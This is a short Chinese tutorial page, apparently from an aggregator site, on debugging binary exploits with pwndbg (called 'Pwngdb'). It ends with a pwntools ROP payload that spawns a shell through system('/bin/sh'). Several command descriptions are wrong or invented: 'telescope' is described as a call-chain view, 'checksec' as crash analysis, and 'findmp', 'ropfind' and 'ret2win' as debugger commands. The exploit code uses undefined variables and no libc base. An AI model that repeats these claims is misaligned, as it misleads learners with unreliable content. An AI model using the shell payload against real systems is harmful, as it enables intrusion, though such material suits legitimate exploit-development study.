pwngdb调试exp
时间: 2025-01-11 22:47:02 浏览: 75
### 使用 Pwngdb 调试 Exploit
Pwngdb 是 GDB 的增强工具集,专为二进制漏洞利用开发设计。通过简化常见的调试操作并提供特定功能来加速 exploit 开发过程。
安装完成后,在 `~/.gdbinit` 文件中添加如下配置以加载 pwngdb[^2]:
```bash
source ~/tools/pwndbg/gdbinit.py
```
启动目标程序时附加 pwngdb 进行调试:
```bash
gdb-pwndbg ./vulnerable_program
```
常见命令及其用途:
- 设置断点以便在指定位置暂停执行流程[^1]:
```assembly
b *0xaddress
```
- 查看寄存器状态以及栈内存布局情况:
```bash
context
```
- 显示当前函数调用链路信息:
```bash
telescope
```
- 当触发崩溃时自动分析原因并给出可能的溢出点提示:
```bash
checksec
pattern_create
pattern_offset
cyclic
findmp
ropfind
ret2win
shellcraft
```
编写简单的 ROP 链作为示范:
假设存在一个缓冲区溢出漏洞, 可以覆盖返回地址指向 system("/bin/sh") 函数入口.
首先获取 libc 中 system 和 "/bin/sh" 字符串偏移量:
```python
from pwn import *
elf = ELF('vuln_binary')
libc = elf.libc
system_addr = libc.symbols['system']
sh_str = next(libc.search(b'/bin/sh'))
log.info(f'System address: {hex(system_addr)}')
log.info(f'"/bin/sh" string location: {hex(sh_str)}')
```
构建 payload 并发送给目标进程测试效果:
```python
payload = flat(
'A'*offset_to_return_address,
system_addr,
sh_str
)
p.sendline(payload)
```
阅读全文
相关推荐
















